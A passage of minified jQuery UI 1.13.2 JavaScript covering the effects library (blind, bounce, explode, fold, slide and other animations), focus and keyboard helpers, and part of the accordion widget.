s[e]&&(n[e]=s[e]);return n}function X(t,e,i,s){return t={effect:t=V.isPlainObject(t)?(e=t).effect:t},"function"==typeof(e=null==e?{}:e)&&(s=e,i=null,e={}),"number"!=typeof e&&!V.fx.speeds[e]||(s=i,i=e,e={}),"function"==typeof i&&(s=i,i=null),e&&V.extend(t,e),i=i||e.duration,t.duration=V.fx.off?0:"number"==typeof i?i:i in V.fx.speeds?V.fx.speeds[i]:V.fx.speeds._default,t.complete=s||e.complete,t}function $(t){return!t||"number"==typeof t||V.fx.speeds[t]||("string"==typeof t&&!V.effects.effect[t]||("function"==typeof t||"object"==typeof t&&!t.effect))}function G(t,e){var i=e.outerWidth(),e=e.outerHeight(),t=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/.exec(t)||["",0,i,e,0];return{top:parseFloat(t[1])||0,right:"auto"===t[2]?i:parseFloat(t[2]),bottom:"auto"===t[3]?e:parseFloat(t[3]),left:parseFloat(t[4])||0}}V.effects={effect:{}},N=["add","remove","toggle"],E={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1},V.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,e){V.fx.step[e]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(d.style(t.elem,e,t.end),t.setAttr=!0)}}),V.fn.addBack||(V.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),V.effects.animateClass=function(n,t,e,i){var o=V.speed(t,e,i);return this.queue(function(){var i=V(this),t=i.attr("class")||"",e=(e=o.children?i.find("*").addBack():i).map(function(){return{el:V(this),start:U(this)}}),s=function(){V.each(N,function(t,e){n[e]&&i[e+"Class"](n[e])})};s(),e=e.map(function(){return this.end=U(this.el[0]),this.diff=function(t,e){var i,s,n={};for(i in e)s=e[i],t[i]!==s&&(E[i]||!V.fx.step[i]&&isNaN(parseFloat(s))||(n[i]=s));return n}(this.start,this.end),this}),i.attr("class",t),e=e.map(function(){var t=this,e=V.Deferred(),i=V.extend({},o,{queue:!1,complete:function(){e.resolve(t)}});return this.el.animate(this.diff,i),e.promise()}),V.when.apply(V,e.get()).done(function(){s(),V.each(arguments,function(){var e=this.el;V.each(this.diff,function(t){e.css(t,"")})}),o.complete.call(i[0])})})},V.fn.extend({addClass:(O=V.fn.addClass,function(t,e,i,s){return e?V.effects.animateClass.call(this,{add:t},e,i,s):O.apply(this,arguments)}),removeClass:(A=V.fn.removeClass,function(t,e,i,s){return 1<arguments.length?V.effects.animateClass.call(this,{remove:t},e,i,s):A.apply(this,arguments)}),toggleClass:(z=V.fn.toggleClass,function(t,e,i,s,n){return"boolean"==typeof e||void 0===e?i?V.effects.animateClass.call(this,e?{add:t}:{remove:t},i,s,n):z.apply(this,arguments):V.effects.animateClass.call(this,{toggle:t},e,i,s)}),switchClass:function(t,e,i,s,n){return V.effects.animateClass.call(this,{add:e,remove:t},i,s,n)}}),V.expr&&V.expr.pseudos&&V.expr.pseudos.animated&&(V.expr.pseudos.animated=(W=V.expr.pseudos.animated,function(t){return!!V(t).data(K)||W(t)})),!1!==V.uiBackCompat&&V.extend(V.effects,{save:function(t,e){for(var i=0,s=e.length;i<s;i++)null!==e[i]&&t.data(j+e[i],t[0].style[e[i]])},restore:function(t,e){for(var i,s=0,n=e.length;s<n;s++)null!==e[s]&&(i=t.data(j+e[s]),t.css(e[s],i))},setMode:function(t,e){return e="toggle"===e?t.is(":hidden")?"show":"hide":e},createWrapper:function(i){if(i.parent().is(".ui-effects-wrapper"))return i.parent();var s={width:i.outerWidth(!0),height:i.outerHeight(!0),float:i.css("float")},t=V("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),e={width:i.width(),height:i.height()},n=document.activeElement;try{n.id}catch(t){n=document.body}return i.wrap(t),i[0]!==n&&!V.contains(i[0],n)||V(n).trigger("focus"),t=i.parent(),"static"===i.css("position")?(t.css({position:"relative"}),i.css({position:"relative"})):(V.extend(s,{position:i.css("position"),zIndex:i.css("z-index")}),V.each(["top","left","bottom","right"],function(t,e){s[e]=i.css(e),isNaN(parseInt(s[e],10))&&(s[e]="auto")}),i.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),i.css(e),t.css(s).show()},removeWrapper:function(t){var e=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),t[0]!==e&&!V.contains(t[0],e)||V(e).trigger("focus")),t}}),V.extend(V.effects,{version:"1.13.2",define:function(t,e,i){return i||(i=e,e="effect"),V.effects.effect[t]=i,V.effects.effect[t].mode=e,i},scaledDimensions:function(t,e,i){if(0===e)return{height:0,width:0,outerHeight:0,outerWidth:0};var s="horizontal"!==i?(e||100)/100:1,e="vertical"!==i?(e||100)/100:1;return{height:t.height()*e,width:t.width()*s,outerHeight:t.outerHeight()*e,outerWidth:t.outerWidth()*s}},clipToBox:function(t){return{width:t.clip.right-t.clip.left,height:t.clip.bottom-t.clip.top,left:t.clip.left,top:t.clip.top}},unshift:function(t,e,i){var s=t.queue();1<e&&s.splice.apply(s,[1,0].concat(s.splice(e,i))),t.dequeue()},saveStyle:function(t){t.data(q,t[0].style.cssText)},restoreStyle:function(t){t[0].style.cssText=t.data(q)||"",t.removeData(q)},mode:function(t,e){t=t.is(":hidden");return"toggle"===e&&(e=t?"show":"hide"),e=(t?"hide"===e:"show"===e)?"none":e},getBaseline:function(t,e){var i,s;switch(t[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=t[0]/e.height}switch(t[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=t[1]/e.width}return{x:s,y:i}},createPlaceholder:function(t){var e,i=t.css("position"),s=t.position();return t.css({marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()),/^(static|relative)/.test(i)&&(i="absolute",e=V("<"+t[0].nodeName+">").insertAfter(t).css({display:/^(inline|ruby)/.test(t.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight"),float:t.css("float")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).addClass("ui-effects-placeholder"),t.data(j+"placeholder",e)),t.css({position:i,left:s.left,top:s.top}),e},removePlaceholder:function(t){var e=j+"placeholder",i=t.data(e);i&&(i.remove(),t.removeData(e))},cleanUp:function(t){V.effects.restoreStyle(t),V.effects.removePlaceholder(t)},setTransition:function(s,t,n,o){return o=o||{},V.each(t,function(t,e){var i=s.cssUnit(e);0<i[0]&&(o[e]=i[0]*n+i[1])}),o}}),V.fn.extend({effect:function(){function t(t){var e=V(this),i=V.effects.mode(e,r)||o;e.data(K,!0),l.push(i),o&&("show"===i||i===o&&"hide"===i)&&e.show(),o&&"none"===i||V.effects.saveStyle(e),"function"==typeof t&&t()}var s=X.apply(this,arguments),n=V.effects.effect[s.effect],o=n.mode,e=s.queue,i=e||"fx",a=s.complete,r=s.mode,l=[];return V.fx.off||!n?r?this[r](s.duration,a):this.each(function(){a&&a.call(this)}):!1===e?this.each(t).each(h):this.queue(i,t).queue(i,h);function h(t){var e=V(this);function i(){"function"==typeof a&&a.call(e[0]),"function"==typeof t&&t()}s.mode=l.shift(),!1===V.uiBackCompat||o?"none"===s.mode?(e[r](),i()):n.call(e[0],s,function(){e.removeData(K),V.effects.cleanUp(e),"hide"===s.mode&&e.hide(),i()}):(e.is(":hidden")?"hide"===r:"show"===r)?(e[r](),i()):n.call(e[0],s,i)}},show:(R=V.fn.show,function(t){if($(t))return R.apply(this,arguments);t=X.apply(this,arguments);return t.mode="show",this.effect.call(this,t)}),hide:(L=V.fn.hide,function(t){if($(t))return L.apply(this,arguments);t=X.apply(this,arguments);return t.mode="hide",this.effect.call(this,t)}),toggle:(F=V.fn.toggle,function(t){if($(t)||"boolean"==typeof t)return F.apply(this,arguments);t=X.apply(this,arguments);return t.mode="toggle",this.effect.call(this,t)}),cssUnit:function(t){var i=this.css(t),s=[];return V.each(["em","px","%","pt"],function(t,e){0<i.indexOf(e)&&(s=[parseFloat(i),e])}),s},cssClip:function(t){return t?this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):G(this.css("clip"),this)},transfer:function(t,e){var i=V(this),s=V(t.to),n="fixed"===s.css("position"),o=V("body"),a=n?o.scrollTop():0,r=n?o.scrollLeft():0,o=s.offset(),o={top:o.top-a,left:o.left-r,height:s.innerHeight(),width:s.innerWidth()},s=i.offset(),l=V("<div class='ui-effects-transfer'></div>");l.appendTo("body").addClass(t.className).css({top:s.top-a,left:s.left-r,height:i.innerHeight(),width:i.innerWidth(),position:n?"fixed":"absolute"}).animate(o,t.duration,t.easing,function(){l.remove(),"function"==typeof e&&e()})}}),V.fx.step.clip=function(t){t.clipInit||(t.start=V(t.elem).cssClip(),"string"==typeof t.end&&(t.end=G(t.end,t.elem)),t.clipInit=!0),V(t.elem).cssClip({top:t.pos*(t.end.top-t.start.top)+t.start.top,right:t.pos*(t.end.right-t.start.right)+t.start.right,bottom:t.pos*(t.end.bottom-t.start.bottom)+t.start.bottom,left:t.pos*(t.end.left-t.start.left)+t.start.left})},Y={},V.each(["Quad","Cubic","Quart","Quint","Expo"],function(e,t){Y[t]=function(t){return Math.pow(t,e+2)}}),V.extend(Y,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,i=4;t<((e=Math.pow(2,--i))-1)/11;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*e-2)/22-t,2)}}),V.each(Y,function(t,e){V.easing["easeIn"+t]=e,V.easing["easeOut"+t]=function(t){return 1-e(1-t)},V.easing["easeInOut"+t]=function(t){return t<.5?e(2*t)/2:1-e(-2*t+2)/2}});y=V.effects,V.effects.define("blind","hide",function(t,e){var i={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},s=V(this),n=t.direction||"up",o=s.cssClip(),a={clip:V.extend({},o)},r=V.effects.createPlaceholder(s);a.clip[i[n][0]]=a.clip[i[n][1]],"show"===t.mode&&(s.cssClip(a.clip),r&&r.css(V.effects.clipToBox(a)),a.clip=o),r&&r.animate(V.effects.clipToBox(a),t.duration,t.easing),s.animate(a,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("bounce",function(t,e){var i,s,n=V(this),o=t.mode,a="hide"===o,r="show"===o,l=t.direction||"up",h=t.distance,c=t.times||5,o=2*c+(r||a?1:0),u=t.duration/o,d=t.easing,p="up"===l||"down"===l?"top":"left",f="up"===l||"left"===l,g=0,t=n.queue().length;for(V.effects.createPlaceholder(n),l=n.css(p),h=h||n["top"==p?"outerHeight":"outerWidth"]()/3,r&&((s={opacity:1})[p]=l,n.css("opacity",0).css(p,f?2*-h:2*h).animate(s,u,d)),a&&(h/=Math.pow(2,c-1)),(s={})[p]=l;g<c;g++)(i={})[p]=(f?"-=":"+=")+h,n.animate(i,u,d).animate(s,u,d),h=a?2*h:h/2;a&&((i={opacity:0})[p]=(f?"-=":"+=")+h,n.animate(i,u,d)),n.queue(e),V.effects.unshift(n,t,1+o)}),V.effects.define("clip","hide",function(t,e){var i={},s=V(this),n=t.direction||"vertical",o="both"===n,a=o||"horizontal"===n,o=o||"vertical"===n,n=s.cssClip();i.clip={top:o?(n.bottom-n.top)/2:n.top,right:a?(n.right-n.left)/2:n.right,bottom:o?(n.bottom-n.top)/2:n.bottom,left:a?(n.right-n.left)/2:n.left},V.effects.createPlaceholder(s),"show"===t.mode&&(s.cssClip(i.clip),i.clip=n),s.animate(i,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("drop","hide",function(t,e){var i=V(this),s="show"===t.mode,n=t.direction||"left",o="up"===n||"down"===n?"top":"left",a="up"===n||"left"===n?"-=":"+=",r="+="==a?"-=":"+=",l={opacity:0};V.effects.createPlaceholder(i),n=t.distance||i["top"==o?"outerHeight":"outerWidth"](!0)/2,l[o]=a+n,s&&(i.css(l),l[o]=r+n,l.opacity=1),i.animate(l,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("explode","hide",function(t,e){var i,s,n,o,a,r,l=t.pieces?Math.round(Math.sqrt(t.pieces)):3,h=l,c=V(this),u="show"===t.mode,d=c.show().css("visibility","hidden").offset(),p=Math.ceil(c.outerWidth()/h),f=Math.ceil(c.outerHeight()/l),g=[];function m(){g.push(this),g.length===l*h&&(c.css({visibility:"visible"}),V(g).remove(),e())}for(i=0;i<l;i++)for(o=d.top+i*f,r=i-(l-1)/2,s=0;s<h;s++)n=d.left+s*p,a=s-(h-1)/2,c.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-s*p,top:-i*f}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:p,height:f,left:n+(u?a*p:0),top:o+(u?r*f:0),opacity:u?0:1}).animate({left:n+(u?0:a*p),top:o+(u?0:r*f),opacity:u?1:0},t.duration||500,t.easing,m)}),V.effects.define("fade","toggle",function(t,e){var i="show"===t.mode;V(this).css("opacity",i?0:1).animate({opacity:i?1:0},{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("fold","hide",function(e,t){var i=V(this),s=e.mode,n="show"===s,o="hide"===s,a=e.size||15,r=/([0-9]+)%/.exec(a),l=!!e.horizFirst?["right","bottom"]:["bottom","right"],h=e.duration/2,c=V.effects.createPlaceholder(i),u=i.cssClip(),d={clip:V.extend({},u)},p={clip:V.extend({},u)},f=[u[l[0]],u[l[1]]],s=i.queue().length;r&&(a=parseInt(r[1],10)/100*f[o?0:1]),d.clip[l[0]]=a,p.clip[l[0]]=a,p.clip[l[1]]=0,n&&(i.cssClip(p.clip),c&&c.css(V.effects.clipToBox(p)),p.clip=u),i.queue(function(t){c&&c.animate(V.effects.clipToBox(d),h,e.easing).animate(V.effects.clipToBox(p),h,e.easing),t()}).animate(d,h,e.easing).animate(p,h,e.easing).queue(t),V.effects.unshift(i,s,4)}),V.effects.define("highlight","show",function(t,e){var i=V(this),s={backgroundColor:i.css("backgroundColor")};"hide"===t.mode&&(s.opacity=0),V.effects.saveStyle(i),i.css({backgroundImage:"none",backgroundColor:t.color||"#ffff99"}).animate(s,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),V.effects.define("size",function(s,e){var n,i=V(this),t=["fontSize"],o=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],a=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],r=s.mode,l="effect"!==r,h=s.scale||"both",c=s.origin||["middle","center"],u=i.css("position"),d=i.position(),p=V.effects.scaledDimensions(i),f=s.from||p,g=s.to||V.effects.scaledDimensions(i,0);V.effects.createPlaceholder(i),"show"===r&&(r=f,f=g,g=r),n={from:{y:f.height/p.height,x:f.width/p.width},to:{y:g.height/p.height,x:g.width/p.width}},"box"!==h&&"both"!==h||(n.from.y!==n.to.y&&(f=V.effects.setTransition(i,o,n.from.y,f),g=V.effects.setTransition(i,o,n.to.y,g)),n.from.x!==n.to.x&&(f=V.effects.setTransition(i,a,n.from.x,f),g=V.effects.setTransition(i,a,n.to.x,g))),"content"!==h&&"both"!==h||n.from.y!==n.to.y&&(f=V.effects.setTransition(i,t,n.from.y,f),g=V.effects.setTransition(i,t,n.to.y,g)),c&&(c=V.effects.getBaseline(c,p),f.top=(p.outerHeight-f.outerHeight)*c.y+d.top,f.left=(p.outerWidth-f.outerWidth)*c.x+d.left,g.top=(p.outerHeight-g.outerHeight)*c.y+d.top,g.left=(p.outerWidth-g.outerWidth)*c.x+d.left),delete f.outerHeight,delete f.outerWidth,i.css(f),"content"!==h&&"both"!==h||(o=o.concat(["marginTop","marginBottom"]).concat(t),a=a.concat(["marginLeft","marginRight"]),i.find("*[width]").each(function(){var t=V(this),e=V.effects.scaledDimensions(t),i={height:e.height*n.from.y,width:e.width*n.from.x,outerHeight:e.outerHeight*n.from.y,outerWidth:e.outerWidth*n.from.x},e={height:e.height*n.to.y,width:e.width*n.to.x,outerHeight:e.height*n.to.y,outerWidth:e.width*n.to.x};n.from.y!==n.to.y&&(i=V.effects.setTransition(t,o,n.from.y,i),e=V.effects.setTransition(t,o,n.to.y,e)),n.from.x!==n.to.x&&(i=V.effects.setTransition(t,a,n.from.x,i),e=V.effects.setTransition(t,a,n.to.x,e)),l&&V.effects.saveStyle(t),t.css(i),t.animate(e,s.duration,s.easing,function(){l&&V.effects.restoreStyle(t)})})),i.animate(g,{queue:!1,duration:s.duration,easing:s.easing,complete:function(){var t=i.offset();0===g.opacity&&i.css("opacity",f.opacity),l||(i.css("position","static"===u?"relative":u).offset(t),V.effects.saveStyle(i)),e()}})}),V.effects.define("scale",function(t,e){var i=V(this),s=t.mode,s=parseInt(t.percent,10)||(0===parseInt(t.percent,10)||"effect"!==s?0:100),s=V.extend(!0,{from:V.effects.scaledDimensions(i),to:V.effects.scaledDimensions(i,s,t.direction||"both"),origin:t.origin||["middle","center"]},t);t.fade&&(s.from.opacity=1,s.to.opacity=0),V.effects.effect.size.call(this,s,e)}),V.effects.define("puff","hide",function(t,e){t=V.extend(!0,{},t,{fade:!0,percent:parseInt(t.percent,10)||150});V.effects.effect.scale.call(this,t,e)}),V.effects.define("pulsate","show",function(t,e){var i=V(this),s=t.mode,n="show"===s,o=2*(t.times||5)+(n||"hide"===s?1:0),a=t.duration/o,r=0,l=1,s=i.queue().length;for(!n&&i.is(":visible")||(i.css("opacity",0).show(),r=1);l<o;l++)i.animate({opacity:r},a,t.easing),r=1-r;i.animate({opacity:r},a,t.easing),i.queue(e),V.effects.unshift(i,s,1+o)}),V.effects.define("shake",function(t,e){var i=1,s=V(this),n=t.direction||"left",o=t.distance||20,a=t.times||3,r=2*a+1,l=Math.round(t.duration/r),h="up"===n||"down"===n?"top":"left",c="up"===n||"left"===n,u={},d={},p={},n=s.queue().length;for(V.effects.createPlaceholder(s),u[h]=(c?"-=":"+=")+o,d[h]=(c?"+=":"-=")+2*o,p[h]=(c?"-=":"+=")+2*o,s.animate(u,l,t.easing);i<a;i++)s.animate(d,l,t.easing).animate(p,l,t.easing);s.animate(d,l,t.easing).animate(u,l/2,t.easing).queue(e),V.effects.unshift(s,n,1+r)}),V.effects.define("slide","show",function(t,e){var i,s,n=V(this),o={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},a=t.mode,r=t.direction||"left",l="up"===r||"down"===r?"top":"left",h="up"===r||"left"===r,c=t.distance||n["top"==l?"outerHeight":"outerWidth"](!0),u={};V.effects.createPlaceholder(n),i=n.cssClip(),s=n.position()[l],u[l]=(h?-1:1)*c+s,u.clip=n.cssClip(),u.clip[o[r][1]]=u.clip[o[r][0]],"show"===a&&(n.cssClip(u.clip),n.css(l,u[l]),u.clip=i,u[l]=s),n.animate(u,{queue:!1,duration:t.duration,easing:t.easing,complete:e})}),y=!1!==V.uiBackCompat?V.effects.define("transfer",function(t,e){V(this).transfer(t,e)}):y;V.ui.focusable=function(t,e){var i,s,n,o,a=t.nodeName.toLowerCase();return"area"===a?(s=(i=t.parentNode).name,!(!t.href||!s||"map"!==i.nodeName.toLowerCase())&&(0<(s=V("img[usemap='#"+s+"']")).length&&s.is(":visible"))):(/^(input|select|textarea|button|object)$/.test(a)?(n=!t.disabled)&&(o=V(t).closest("fieldset")[0])&&(n=!o.disabled):n="a"===a&&t.href||e,n&&V(t).is(":visible")&&function(t){var e=t.css("visibility");for(;"inherit"===e;)t=t.parent(),e=t.css("visibility");return"visible"===e}(V(t)))},V.extend(V.expr.pseudos,{focusable:function(t){return V.ui.focusable(t,null!=V.attr(t,"tabindex"))}});var Q,J;V.ui.focusable,V.fn._form=function(){return"string"==typeof this[0].form?this.closest("form"):V(this[0].form)},V.ui.formResetMixin={_formResetHandler:function(){var e=V(this);setTimeout(function(){var t=e.data("ui-form-reset-instances");V.each(t,function(){this.refresh()})})},_bindFormResetHandler:function(){var t;this.form=this.element._form(),this.form.length&&((t=this.form.data("ui-form-reset-instances")||[]).length||this.form.on("reset.ui-form-reset",this._formResetHandler),t.push(this),this.form.data("ui-form-reset-instances",t))},_unbindFormResetHandler:function(){var t;this.form.length&&((t=this.form.data("ui-form-reset-instances")).splice(V.inArray(this,t),1),t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset"))}};V.expr.pseudos||(V.expr.pseudos=V.expr[":"]),V.uniqueSort||(V.uniqueSort=V.unique),V.escapeSelector||(Q=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,J=function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t},V.escapeSelector=function(t){return(t+"").replace(Q,J)}),V.fn.even&&V.fn.odd||V.fn.extend({even:function(){return this.filter(function(t){return t%2==0})},odd:function(){return this.filter(function(t){return t%2==1})}});var Z;V.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},V.fn.labels=function(){var t,e,i;return this.length?this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(e=this.eq(0).parents("label"),(t=this.attr("id"))&&(i=(i=this.eq(0).parents().last()).add((i.length?i:this).siblings()),t="label[for='"+V.escapeSelector(t)+"']",e=e.add(i.find(t).addBack(t))),this.pushStack(e)):this.pushStack([])},V.fn.scrollParent=function(t){var e=this.css("position"),i="absolute"===e,s=t?/(auto|scroll|hidden)/:/(auto|scroll)/,t=this.parents().filter(function(){var t=V(this);return(!i||"static"!==t.css("position"))&&s.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==e&&t.length?t:V(this[0].ownerDocument||document)},V.extend(V.expr.pseudos,{tabbable:function(t){var e=V.attr(t,"tabindex"),i=null!=e;return(!i||0<=e)&&V.ui.focusable(t,i)}}),V.fn.extend({uniqueId:(Z=0,function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++Z)})}),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&V(this).removeAttr("id")})}}),V.widget("ui.accordion",{version:"1.13.2",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:function(t){return t.find("> li > :first-child").add(t.find("> :not(li)").even())},heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var t=this.options;this.prevShow=this.prevHide=V(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),t.collapsible||!1!==t.active&&null!=t.active||(t.active=0),this._processPanels(),t.active<0&&(t.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():V()}},_createIcons:function(){var t,e=this.options.icons;e&&(t=V("<span>"),this._addClass(t,"ui-accordion-header-icon","ui-icon "+e.header),t.prependTo(this.headers),t=this.active.children(".ui-accordion-header-icon"),this._removeClass(t,e.header)._addClass(t,null,e.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var t;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),t=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&t.css("height","")},_setOption:function(t,e){"active"!==t?("event"===t&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(e)),this._super(t,e),"collapsible"!==t||e||!1!==this.options.active||this._activate(0),"icons"===t&&(this._destroyIcons(),e&&this._createIcons())):this._activate(e)},_setOptionDisabled:function(t){this._super(t),this.element.attr("aria-disabled",t),this._toggleClass(null,"ui-state-disabled",!!t),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!t)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var e=V.ui.keyCode,i=this.headers.length,s=this.headers.index(t.target),n=!1;switch(t.keyCode){case e.RIGHT:case e.DOWN:n=this.headers[(s+1)%i];break;case e.LEFT:case e.UP:n=this.headers[(s-1+i)%i];break;case e.SPACE:case e.ENTER:this._eventHandler(t);break;case e.HOME:n=this.headers[0];break;case e.END:n=this.headers[i-1]}n&&(V(t.target).attr("tabIndex",-1),V(n).attr("tabIndex",0),V(n).trigger("focus"),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===V.ui.keyCode.UP&&t.ctrlKey&&V(t.currentTarget).prev().trigger("focus")},refresh:function(){var t=this.options;this._processPanels(),!1===t.active&&!0===t.collapsible||!this.headers.length?(t.active=!1,this.active=V()):!1===t.active?this._activate(0):this.active.length&&!V.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(t.active=!1,this.active=V()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var t=this.headers,e=this.panels;"function"==typeof this.options.header?this.headers=this.options.header(this.element):this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),e&&(this._off(t.not(this.headers)),this._off(e.not(this.panels)))},_refresh:function(){var i,t=this.options,e=t.heightStyle,s=this.element.parent();this.active=this._findActive(t.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each(function(){var t=V(this),e=t.uniqueId().attr("id"),i=t.next(),s=i.uniqueId().attr("id");t.attr("aria-controls",s),i.attr("aria-labelledby",e)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(t.event),"fill"===e?(i=s.height(),this.element.siblings(":visible").each(function(){var t=V(this),e=t.css("position");"absolute"!==e&&"fixed"!==e&&(i-=t.outerHeight(!0))}),this.headers.each(function(){i-=V(this).outerHeight(!0)}),this.headers.next().each(function(){V(this).height(Math.max(0,i-V(this).innerHeight()+V(this).height()))}).css("overflow","auto")):"auto"===e&&(i=0,this.headers.next().each(function(){var t=V(this).is(":visible");t||V(this).show(),i=Math.max(i,V(this).css("height","").height()),t||V(this).hide()}).height(i))},_activate:function(t){t=this._findActive(t)[0];t!==this.active[0]&&(t=t||this.active[0],this._eventHandler({target:t,currentTarget:t,preventDefault:V.noop}))},_findActive:function(t){return"number"==typeof t?this.headers.eq(t):V()},_setupEvents:function(t){var i={keydown:"_keydown"};t&&V.each(t.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(t){var e=this.options,i=this.active,s=V(t.currentTarget),n=s[0]===i[0],o=n&&e.collapsible,a=o?V():s.next(),r=i.next(),a={oldHeader:i,oldPanel:r,newHeader:o?V():s,newPanel:a};t.preventDefault(),n&&!e.collapsible||!1===this._trigger("beforeActivate",t,a)||(e.active=!o&&this.headers.index(s),this.active=n?V():s,this._toggle(a),this._removeClass(i,"ui-accordion-header-active","ui-state-active"),e.icons&&(i=i.children(".ui-accordion-header-icon"),this._removeClass(i,null,e.icons.activeHeader)._addClass(i,null,e.icons.header)),n||(this._removeClass(s,"ui-accordion-header-collapsed")._addClass(s,"ui-accordion-header-active","ui-state-active"),e.icons&&(n=s.children(".ui-accordion-header-icon"),this._removeClass(n,null,e.icons.header)._addClass(n,null,e.icons.activeHeader)),this._addClass(s.next(),"ui-accordion-content-active")))},_toggle:function(t){var e=t.newPanel,i=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=e,this.prevHide=i,this.options.animate?this._animate(e,i,t):(i.hide(),e.show(),this._toggleComplete(t)),i.attr({"aria-hidden":"true"}),i.prev().attr({"aria-selected":"false","aria-expanded":"false"}),e.length&&i.length?i.prev().attr({tabIndex:-1,"aria-expanded":"false"}):e.length&&this.headers.filter(function(){return 